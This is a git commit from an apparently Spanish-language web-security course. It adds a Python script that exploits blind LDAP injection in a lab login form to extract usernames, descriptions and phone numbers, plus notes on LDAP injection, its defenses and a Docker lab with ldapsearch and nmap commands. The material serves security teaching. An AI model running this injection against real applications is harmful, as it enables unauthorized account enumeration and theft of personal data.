Update tema 6 - ldapi

This commit is contained in:
Manuel Vergara 2024-02-17 16:31:45 +01:00
parent 8f96712d57
commit cb6bcbcc86
2 changed files with 322 additions and 0 deletions

View File

@ -0,0 +1,229 @@
#!/usr/bin/env python3
import os
# import pdb # Librería para debuguear
import requests
import signal
import sys
import string
import time
from pwn import *
from termcolor import colored
def signal_handler(sig, frame):
"""
Signal handler for Ctrl+C
"""
print(colored('\n\n[!] Saliendo...\n', 'red'))
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
# Variables globales
MAIN_URL = 'http://localhost:8888/'
BURP_PROXY = {'http': 'http://127.0.0.1:8080'}
HEADERS = {'Content-Type': 'application/x-www-form-urlencoded'}
NUMBERS = string.digits
CHARACTERS = string.ascii_lowercase + NUMBERS + " áéíóúñüç"
# Limpiar pantalla
os.system('clear')
def getInitialUsers():
"""
Obtiene la lista inicial de usuarios
"""
# pdb.set_trace()
initial_users = []
for character in CHARACTERS:
post_data = f"user_id={character}*&password=*&login=1&submit=Submit"
r = requests.post(
MAIN_URL, data=post_data,
headers=HEADERS,
# proxies=BURP_PROXY,
allow_redirects=False
)
if r.status_code == 301:
initial_users.append(character)
return initial_users
def getUsers(initial_users):
"""
Obtiene la lista de usuarios válidos
"""
valid_users = []
for first_character in initial_users:
user = ""
for position in range(0, 15):
for character in CHARACTERS:
post_data = f"user_id={first_character}{user}{character}*&password=*&login=1&submit=Submit"
r = requests.post(
MAIN_URL, data=post_data,
headers=HEADERS,
allow_redirects=False
)
if r.status_code == 301:
user += character
break
if not user:
break
username = first_character + user
valid_users.append(username)
return valid_users
def getDescription(users):
"""
Obtiene las descripciones para los usuarios dados
"""
user_descriptions = {}
for user in users:
description = ""
for position in range(0, 25):
for character in CHARACTERS:
post_data = f"user_id={user})(description={description}{character}*))%00&password=*&login=1&submit=Submit"
r = requests.post(
MAIN_URL, data=post_data,
headers=HEADERS,
allow_redirects=False
)
if r.status_code == 301:
description += character
break
if not description:
break
user_descriptions[user] = description
return user_descriptions
def getPhones(users):
"""
Obtiene los teléfonos para los usuarios dados
"""
user_phones = {}
for user in users:
phone = ""
for position in range(0, 9):
for number in NUMBERS:
post_data = f"user_id={user})(telephoneNumber={phone}{number}*))%00&password=*&login=1&submit=Submit"
r = requests.post(
MAIN_URL, data=post_data,
headers=HEADERS,
allow_redirects=False
)
if r.status_code == 301:
phone += number
break
user_phones[user] = phone
return user_phones
def main():
"""
Función principal
"""
p1 = log.progress(colored("Fuerza bruta contra el LDAP", 'blue'))
p1.status(colored("Iniciando ataque", 'magenta'))
time.sleep(1)
p1.status(colored("Atacando usuarios", 'magenta'))
p2 = log.progress(colored("Buscando usuarios", 'blue'))
initial_users = getInitialUsers()
valid_users = getUsers(initial_users)
p2.success(colored(f"Usuarios encontrados: {valid_users}", 'green'))
time.sleep(1)
p1.status(colored("Atacando descripciones", 'magenta'))
p3 = log.progress(colored("Buscando descripciones", 'blue'))
user_descriptions = getDescription(valid_users)
descriptions_list = list(user_descriptions.values())
p3.success(
colored(f"Descripciones encontradas: {descriptions_list}", 'green'))
time.sleep(1)
p1.status(colored("Atacando teléfonos", 'magenta'))
p4 = log.progress(colored("Buscando Teléfonos", 'blue'))
user_phones = getPhones(valid_users)
phones_list = list(user_phones.values())
p4.success(colored(f"Teléfonos encontrados: {phones_list}", 'green'))
time.sleep(1)
usuario_descripcion_telefono = set(
user_descriptions.keys()).union(user_phones.keys())
p1.success(colored("Ataque finalizado", 'magenta'))
time.sleep(2)
print(colored("\n\n[+] Resumen:\n", 'green'))
for user in usuario_descripcion_telefono:
description = user_descriptions.get(user, "No tiene descripción")
phone = user_phones.get(user, "No tiene teléfono")
if description == "":
description = "No tiene descripción"
if phone == "":
phone = "No tiene teléfono"
print(colored(
f"\n[+] Usuario: {user}\n Descripción: {description}\n Teléfono: {phone}",
'green'
))
if __name__ == '__main__':
main()

View File

@ -17,6 +17,7 @@
- [6.12 Ataque Type Juggling](#612-ataque-type-juggling) - [6.12 Ataque Type Juggling](#612-ataque-type-juggling)
- [6.13 Inyecciones NoSQL](#613-inyecciones-nosql) - [6.13 Inyecciones NoSQL](#613-inyecciones-nosql)
- [6.14 Inyecciones LDAP](#614-inyecciones-ldap) - [6.14 Inyecciones LDAP](#614-inyecciones-ldap)
- [Ejercicio](#ejercicio)
- [6.15 Ataques de Deserialización](#615-ataques-de-deserialización) - [6.15 Ataques de Deserialización](#615-ataques-de-deserialización)
- [6.16 Inyecciones LaTex](#616-inyecciones-latex) - [6.16 Inyecciones LaTex](#616-inyecciones-latex)
- [6.17 Abuso de APIs](#617-abuso-de-apis) - [6.17 Abuso de APIs](#617-abuso-de-apis)
@ -387,6 +388,98 @@ A continuación, se proporciona el enlace al proyecto de Github que nos descarga
## 6.14 Inyecciones LDAP ## 6.14 Inyecciones LDAP
Las inyecciones LDAP (Protocolo de Directorio Ligero) son un tipo de ataque en el que se aprovechan las vulnerabilidades en las aplicaciones web que interactúan con un servidor LDAP. El servidor LDAP es un directorio que se utiliza para almacenar información de usuarios y recursos en una red.
La inyección LDAP funciona mediante la inserción de comandos LDAP maliciosos en los campos de entrada de una aplicación web, que luego son enviados al servidor LDAP para su procesamiento. Si la aplicación web no está diseñada adecuadamente para manejar la entrada del usuario, un atacante puede aprovechar esta debilidad para realizar operaciones no autorizadas en el servidor LDAP.
Al igual que las inyecciones SQL y NoSQL, las inyecciones LDAP pueden ser muy peligrosas. Algunos ejemplos de lo que un atacante podría lograr mediante una inyección LDAP incluyen:
- Acceder a información de usuarios o recursos que no debería tener acceso.
- Realizar cambios no autorizados en la base de datos del servidor LDAP, como agregar o eliminar usuarios o recursos.
- Realizar operaciones maliciosas en la red, como lanzar ataques de phishing o instalar software malicioso en los sistemas de la red.
Para evitar las inyecciones LDAP, las aplicaciones web que interactúan con un servidor LDAP deben validar y limpiar adecuadamente la entrada del usuario antes de enviarla al servidor LDAP. Esto incluye la validación de la sintaxis de los campos de entrada, la eliminación de caracteres especiales y la limitación de los comandos que pueden ser ejecutados en el servidor LDAP.
También es importante que las aplicaciones web se ejecuten con privilegios mínimos en la red y que se monitoreen regularmente las actividades del servidor LDAP para detectar posibles inyecciones.
A continuación, se proporciona el enlace directo al proyecto de Github que nos descargamos para desplegar un laboratorio práctico donde poder ejecutar esta vulnerabilidad:
- LDAP-Injection-Vuln-App: https://github.com/motikan2010/LDAP-Injection-Vuln-App
- LDAP: Qué es y para qué se utiliza este protocolo https://www.profesionalreview.com/2019/01/05/ldap/
### Ejercicio
Instalamos openldap con docker:
```
docker run -p 389:389 --name my-openldap-container --detach osixia/openldap:1.2.2
```
Descargamos el repositorio de LDAP-Injection-Vuln-App, construimos la imagen y la ejecutamos:
```
git clone https://github.com/motikan2010/LDAP-Injection-Vuln-App && cd LDAP-Injection-Vuln-App
docker run -p 389:389 --name openldap-container --detach osixia/openldap:1.2.2
docker build -t ldap-client-container .
docker run -dit --link openldap-container -p 8888:80 ldap-client-container
```
Con el siguiente comando ya podríamos extraer información del servidor LDAP:
```
ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin 'cn=admin'
```
(Si no lo tienes instalado: `sudo apt-get install slapd ldap-utils -y`)
Con el anterior comando, estamos buscando el usuario admin en el servidor LDAP. Si el usuario admin existe, el servidor LDAP devolverá información sobre el usuario. Si el usuario admin no existe, el servidor LDAP devolverá un mensaje de error.
Con nmap y utilizando scripts podríamos obtener información del servidor LDAP:
```
nmap -sV --script ldap\* -p 389 localhost
```
Ahora podemos jugar a concatenar filtros para obtener información del servidor LDAP:
```
ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin '(&(cn=admin)(description=LDAP*))'
```
Entramos en el contenedor openldap:
```
docker exec -it openldap-container bash
```
Y buscamos el fichero `new-user.ldif` en la ruta `/container/service/slapd/assets/test`.
Lo copiamos en local y cambiamos los datos a nuestro antojo:
```
dn: uid=invent,dc=example,dc=org
uid: invent
cn: invent
sn: 3
objectClass: top
objectClass: posixAccount
objectClass: inetOrgPerson
loginShell: /bin/bash
homeDirectory: /home/invent
uidNumber: 14583102
gidNumber: 14564100
userPassword: invent123
mail: invent@example.org
description: Uno que pasaba por aquí
telephoneNumber: 657849302
```
Creamos desde anfitrión el nuevo usuario referenciando el nuevo fichero:
```
ldapadd -x -H ldap://localhost -D "cn=admin,dc=example,dc=org" -w admin -f newuser.ldiff
```
Ahora podremos ver el nuevo usuario creado con el siguiente comando:
```
ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin
```
Bien, pues creamos un par más.
## 6.15 Ataques de Deserialización ## 6.15 Ataques de Deserialización